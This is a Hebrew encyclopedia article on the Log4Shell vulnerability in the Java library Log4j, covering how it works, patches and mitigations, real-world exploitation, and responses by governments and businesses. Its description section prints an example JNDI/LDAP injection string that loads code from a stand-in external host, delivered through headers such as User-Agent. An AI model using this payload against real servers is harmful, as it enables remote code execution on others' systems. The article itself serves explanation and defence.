Log4Shell

Log4Shell (קוד: CVE-2021-44228) הוא השם שניתן לחולשה בספרייה Log4j, ספריית לוגים פופולרית של Java, המאפשרת הרצת קוד שרירותי (Remote Code Execution).<ref name="lunasec"></ref><ref></ref> פגיעה זו, שלא הבחינו בקיומה מאז 2013 - נחשפה באופן פרטי לקרן התוכנה אפאצ'י, ש-Log4j הוא פרויקט שלה, על ידי צוות האבטחה בענן של קבוצת עליבאבא ב-24 בנובמבר 2021, ונחשפה בפומבי ב-9 בדצמבר 2021.<ref name="mcafee"></ref><ref></ref><ref name="wired"></ref><ref name=":0"></ref>

קרן Apache העניקה ל-Log4Shell דירוג חומרת CVSS של 10, הגבוה ביותר האפשרי.<ref name="security"></ref> ההערכה היא שהפגיעות משפיעה על מאות מיליוני מכשירים.

החולשה מנצלת את היכולת של Log4j המאפשרת בקשות לשרתי LDAP ו-JNDI שרירותיים, מבלי לבדוק את התגובות.<ref name="lunasec" /><ref name="pcworld"></ref><ref name="technica"></ref> בקשות אלו מאפשרות לתוקפים להריץ קוד Java שרירותי בשרת או במחשב אחר, או להדליף מידע רגיש.<ref name="wired" />

שירותים רבים התגלו כפגיעים לחולשה, ורשימה של פרויקטי התוכנה המושפעים פורסמה על ידי צוות האבטחה של Apache.<ref></ref> השירותים המסחריים המושפעים כוללים את AWS,<ref></ref> Cloudflare, iCloud,<ref></ref> Minecraft: Java Edition,<ref></ref> סטים Tencent QQ ועוד רבים אחרים.<ref name="pcworld" /><ref></ref><ref></ref>

Log4Shell היא אחת מהחולשות החמורות ביותר שהתגלו מעולם. חברת LunaSec אפיינה את הפגיעות כ"כשל עיצובי בעל פרופורציות קטסטרופליות",<ref name="wired" /> חברת Teneble אמרה כי החולשה הייתה "הפגיעות הגדולה והקריטית ביותר אי פעם",<ref name=":4"></ref> ו- Ars Technica כינתה זאת "ללא ספק הפגיעה החמורה ביותר אי פעם".<ref name=":1"></ref>

== רקע ==

Log4j היא ספריית קוד פתוח המאפשרת למפתחי תוכנה לרשום (log) נתונים בתוך האפליקציות שלהם. נתונים אלה יכולים לכלול קלט משתמש.<ref></ref> הספרייה נמצאת בשימוש כמעט בכל מקום ביישומי Java, במיוחד בתוכנות ארגוניות.<ref name="wired" />

הספרייה נכתבה במקור בשנת 2001 על ידי Ceki Gülcü, וכעת היא חלק מ- Apache Logging Services, פרויקט של קרן התוכנה אפאצ'י.<ref></ref> חבר בוועדת אבטחת הסייבר לשעבר של הנשיא ברק אובמה, טום קלרמן, תיאר את אפאצ'י כ"אחת התומכות הענקיות של גשר המאפשר את רקמת החיבור בין עולמות היישומים וסביבות המחשב".<ref name=":5"></ref>

== תיאור ==
ממשק ה-JNDI של Java (בראשי תיבות: ה-Java Native Direcotry Interface), מאפשר חיפוש של אובייקטי Java בזמן ריצה בהינתן כתובת למקום שמאחסן את הנתונים שלהם. JNDI יכול לעבוד עם מספר ממשקי Directory, כאשר כל אחד מספק "סכימה" שונה של חיפוש קבצים. בין הממשקים הללו ניתן למצוא את LDAP, המאחזר את נתוני האובייקט ככתובת URL משרת מתאים, מקומי או מכל מקום באינטרנט.<ref name="cloudflare-graham-cumming"></ref>

בקונפיגורציה הרגילה, כאשר log4j כותבת הודעת לוג, מתבצעת פעולת חיפוש והחלפה של מחרוזות מיוחדות מהצורה <code>{prefix:name}$</code> בתוך ההודעה הנכתבת. חלק מהתבניות המיוחדות שיכולות להיות מזוהות היא הצורה<code>{<jndi:<lookup}$</code>; על ידי הכנסת מחרוזת כזו עם שרת lookup בשליטת התוקף (מסוג LDAP, למשל), הספרייה תפנה לכתובת ה-URL הרשומה באמצעות פרוטוקול ה-LDAP ותטען את הנתונים בו כאובייקטי Java. כך לדוגמה, ניסיון הדפסה של המחרוזת <code>{jndi:ldap://example.com/file}$</code>, יגרור טעינה של הקוד שמאוחסן בכתובת זו, גם אם מדובר בשרת חיצוני.

משום שבקשות HTTP נכתבות פעמים רבות ללוג, ווקטור תקיפה נפוץ הוא הכנסה של המחרוזת הזדונית לתוך HTTP Header שמתועד פעמים רבות, כגון User-Agent.

== מניעה ==
התיקון עבור פגיעות אלו פורסמו ב-6 בדצמבר 2021, שלושה ימים לפני פרסום הפגיעות, בגרסה 2.15.0-rc1 של Log4j.<ref></ref> התיקון כלל הגבלת השרתים והפרוטוקולים שניתן להשתמש בהם לצורך חיפושים (lookups) של אובייקטים. לאחר מכן חוקרים גילו באג קשור, CVE-2021-45046, המאפשר הרצת קוד בצורה מקומית או מרוחקת בתצורות מסוימות שאינן ברירת מחדל. באג זה תוקן בגרסה 2.16.0, אשר השביתה את כל תכונות ה-JNDI ואת תמיכה בחיפושי הודעות (message lookups).<ref name="cve-2021-45056"></ref><ref></ref>

עבור גרסאות קודמות, מומלץ להסיר את המחלקה <code>org.apache.logging.log4j.core.lookup.JndiLookup</code> ממשתנה ה-classpath כדי למנוע ניצול של שתי הפגיעויות.<ref name="security" /><ref name="cve-2021-45056" /> בנוסף, ניתן לשנות את ה-system property בשם <code>log4j2.formatMsgNoLookups</code> ל- <code>true</code>, אך שינוי זה אינו מונע ניצול של CVE-2021-45046.<ref name="cve-2021-45056" />

גרסאות חדשות יותר של Java Runtime Environment (JRE) מפחיתות את הפגיעות הזו על ידי חסימת טעינת קוד מרחוק כברירת מחדל, אם כי וקטורי תקיפה אחרים עדיין קיימים ביישומים מסוימים.<ref name="lunasec" /><ref name="ducklin"></ref><ref></ref> פורסמו מספר שיטות וכלים כדי לסייע בזיהוי של שימוש בגרסאות log4j פגיעות בחבילות Java.<ref name="lunasec-mitigation-guide"></ref>

== ניצול ==
החולשה מאפשרת להאקרים להשיג שליטה על מכשירים פגיעים באמצעות Java. ההאקרים משתמשים בפגיעות כדי לנצל את היכולות של מכשירי הקורבנות; השימושים כוללים כריית מטבעות קריפטוגרפיים, יצירת רשתות בוטים, שליחת דואר זבל ופעילויות לא חוקיות אחרות כגון התקפות כופר.<ref name=":2"></ref> בימים שלאחר פרסום הפגיעות, חברת צ'ק פוינט עקבה אחרי מיליוני התקפות שיזמו האקרים, כאשר כמה חוקרים צפו בקצב של למעלה ממאה התקפות לדקה, שהביא בסופו של דבר לתוצאה של כמעל 40% מהרשתות העסקיות בעולם שהותקפו.<ref name=":5" />

לדברי מנכ"ל Cloudflare, מתיו פרינס, עדויות לשימוש או בדיקה להימצאות של החולשה נצפו כבר ב-1 בדצמבר, תשעה ימים לפני שהחולשה נחשפה בפומבי.<ref name="duckett2"></ref> בנוסף, לדברי GreyNoise, חברת אבטחה מקוונת, מספר כתובות IP כבר סרקו אתרים במקרה למצוא שרתים פגיעים.<ref></ref> כמה botnets התחילו לסרוק את הפגיעות, כולל Muhstik botnet, כמו גם "מיראי", צונאמי ו-XMRig.<ref name="duckett2" /><ref></ref> כמה קבוצות מדינתיות בסין ובאיראן ניצלו את הפגיעות, לפי צ'ק פוינט.

== תגובה והשפעה ==
=== ממשלות ===
בארצות הברית, מנהל הסוכנות לאבטחת סייבר ותשתיות (CISA), ג'ן איסטרלי, תיאר את החולשה כ"אחת הרציניות שראיתי בכל הקריירה שלי, אם לא החמורה ביותר", והסביר כי מאות מיליוני מכשירים הושפעו תוך שהוא מייעץ לספקים לתעדף עדכוני תוכנה.<ref></ref><ref name=":2" />

המרכז הקנדי לאבטחת סייבר (CCCS) קרא לארגונים לנקוט בפעולה מיידית.<ref></ref> סוכנות ההכנסה של קנדה סגרה זמנית את השירותים המקוונים שלה לאחר שנודע על החולשה, בעוד שממשלת קוויבק סגרה כמעט 4,000 מאתרי האינטרנט שלה כ"צעד מונע".<ref></ref>

המשרד הפדרלי לביטחון מידע הגרמני (BSI) הגדיר את החולשה כרמת האיום הגבוהה ביותר של הסוכנות, וכינה אותה "מצב איום קריטי ביותר" (מתורגם). הארגון גם דיווח כי מספר התקפות כבר היו מוצלחות וכי עדיין קשה להעריך את היקף הניצול.<ref></ref><ref></ref> מרכז אבטחת הסייבר הלאומי של הולנד (NCSC) החל ברשימה מתמשכת של יישומים פגיעים.<ref></ref><ref></ref>

=== עסקים ===
חברת ניהול משאבי אנוש וניהול כוח אדם, UKG, אחד העסקים הגדולים בתעשייה, הייתה מטרה למתקפת כופר שהשפיעה על עסקים גדולים.<ref name=":1"/><ref name=":3"></ref> UKG מסרה כי אין לה ראיות לניצול של Log4Shell בתקרית, אם כי האנליסט אלן ליסקה מחברת אבטחת הסייבר Recorded Future אמר כי ייתכן שיש קשר.<ref name=":3" />
כאשר חברות גדולות יותר החלו לשחרר תיקונים לחולשה, הסיכון לעסקים קטנים גדל כאשר האקרים התמקדו ביעדים פגיעים יותר.<ref name=":2" />

== ראו גם ==
* הזרקת SQL

== קישורים חיצוניים ==
* 
* [https://logging.apache.org/log4j/2.x/ Log4j website]
* NCSC overview of Log4Shell on GitHub
* [https://cve.org/CVERecord?id=CVE-2021-44228 Common Vulnerabilities and Exposures page]
* [https://nvd.nist.gov/vuln/detail/CVE-2021-44228 National Vulnerabilities Database page]
* [https://blogs.apache.org/security/entry/cve-2021-44228 Projects affected by cve-2021-44228, by Apache Security Team]

== הערות שוליים ==

קטגוריה:פרצות אבטחה